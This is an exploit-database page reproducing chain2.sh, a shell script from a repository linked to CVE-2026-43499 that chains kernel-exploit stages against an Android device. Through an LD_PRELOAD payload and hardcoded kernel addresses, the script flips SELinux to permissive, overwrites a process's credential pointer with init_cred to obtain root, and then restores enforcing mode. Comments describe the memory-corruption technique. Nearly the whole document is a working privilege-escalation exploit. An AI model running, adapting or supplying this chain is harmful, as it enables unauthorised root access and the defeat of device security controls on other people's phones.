Exploit databaseDownload repository ZIP
GH-542b23d2091b628cb0ddf12d02f0ac0e
pubglite55/findn2-ksu-chain
Sources for CVE-2026-43499
165 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
pubglite55/findn2-ksu-chainRevision c4677b4ae2e2
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit-v29/chain2.sh
Shell · 2,981 bytes#!/system/bin/sh
# chain2.sh — one continuous E5 -> C -> E5R run, entirely on the device.
#
# Why one script: leaving the phone Permissive while a human/host ping-pongs adb
# commands gives the framework time to wedge (black screen). Here the whole
# sequence runs back to back and the enforcing flag is restored at the end, so
# the device never sits in the state the user flagged as "apps won't open".
#
# One write per process (RETRY=1): a second trigger in the same process rb_inserts
# on an already-poisoned waiter tree and the rotation writes tree pointers into
# task+0x770..0x788 -> panic. So each stage is its own process.
#
# Addresses (all verified):
# E5 : SELINUX_STATE_alias 0xffffff802aa793c8 -> TREE_PC ...93c0 (even => RED)
# TREE_RIGHT=SPRAY (byte0=0 clears enforcing, byte2!=0 keeps initialized)
# C : pc=task+0x778, value=INIT_CRED alias 0xffffff802a7e0be0 (printed by mt48)
# E5R : same as E5 but TREE_RIGHT=SPRAY1 (child=page_base+1 => enforcing=1)
BIN=/data/local/tmp/preload29.so
T=/data/local/tmp
L=$T/chain2.log
COMMON="PSELECT_SKIP_WARMUP=1 PSELECT_SLIDE_TRIGGER=1 PSELECT_RETRY=1 PSELECT_WINDOW_SECONDS=60 PSELECT_TRIGGER_SHOTS=16"
log(){ echo "[c2 $(date +%H:%M:%S)] $*" >> $L; }
enf(){ cat /sys/fs/selinux/enforce 2>/dev/null; }
log "START enforce=$(enf) uptime=$(cut -d' ' -f1 /proc/uptime) boot_id=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null)"
# ---- E5: get permissive (retry until it sticks, max 4) ----
i=0
while [ $i -lt 4 ]; do
i=$((i+1))
log "E5 attempt $i"
env $COMMON PSELECT_TREE_PC=ffffff802aa793c0 PSELECT_TREE_RIGHT=SPRAY \
LD_PRELOAD=$BIN /system/bin/ls /dev/null >> $T/e5.out 2>&1
log "E5 attempt $i done: enforce=$(enf) uptime=$(cut -d' ' -f1 /proc/uptime)"
[ "$(enf)" = "0" ] && break
done
if [ "$(enf)" != "0" ]; then
log "ABORT: could not reach permissive"
exit 1
fi
log "PERMISSIVE reached -> running C stage immediately"
# ---- C: cred pointer -> init_cred (one write, this process) ----
env $COMMON PSELECT_CRED=1 PSELECT_PERF_CRED=1 PSELECT_PTR_MODE=1 \
PSELECT_PTR_STAGE=C PSELECT_PTR_STRICT=1 \
LD_PRELOAD=$BIN /system/bin/ls /dev/null >> $T/c.out 2>&1
log "C stage done rc=$?"
# did we get root? the harness prints uid in its alive polls
ROOTSEEN=$(grep -a "uid=0 " $T/c.out 2>/dev/null | head -1)
log "C verdict: ${ROOTSEEN:-no uid=0 seen}"
# ---- E5R: restore enforcing = 1 (so apps work again) ----
env $COMMON PSELECT_TREE_PC=ffffff802aa793c0 PSELECT_TREE_RIGHT=SPRAY1 \
LD_PRELOAD=$BIN /system/bin/ls /dev/null >> $T/e5r.out 2>&1
log "E5R done: enforce=$(enf) uptime=$(cut -d' ' -f1 /proc/uptime)"
# E5R can miss too; retry a couple of times
i=0
while [ $i -lt 3 ] && [ "$(enf)" != "1" ]; do
i=$((i+1))
env $COMMON PSELECT_TREE_PC=ffffff802aa793c0 PSELECT_TREE_RIGHT=SPRAY1 \
LD_PRELOAD=$BIN /system/bin/ls /dev/null >> $T/e5r.out 2>&1
log "E5R retry $i: enforce=$(enf)"
done
log "END enforce=$(enf) uptime=$(cut -d' ' -f1 /proc/uptime)"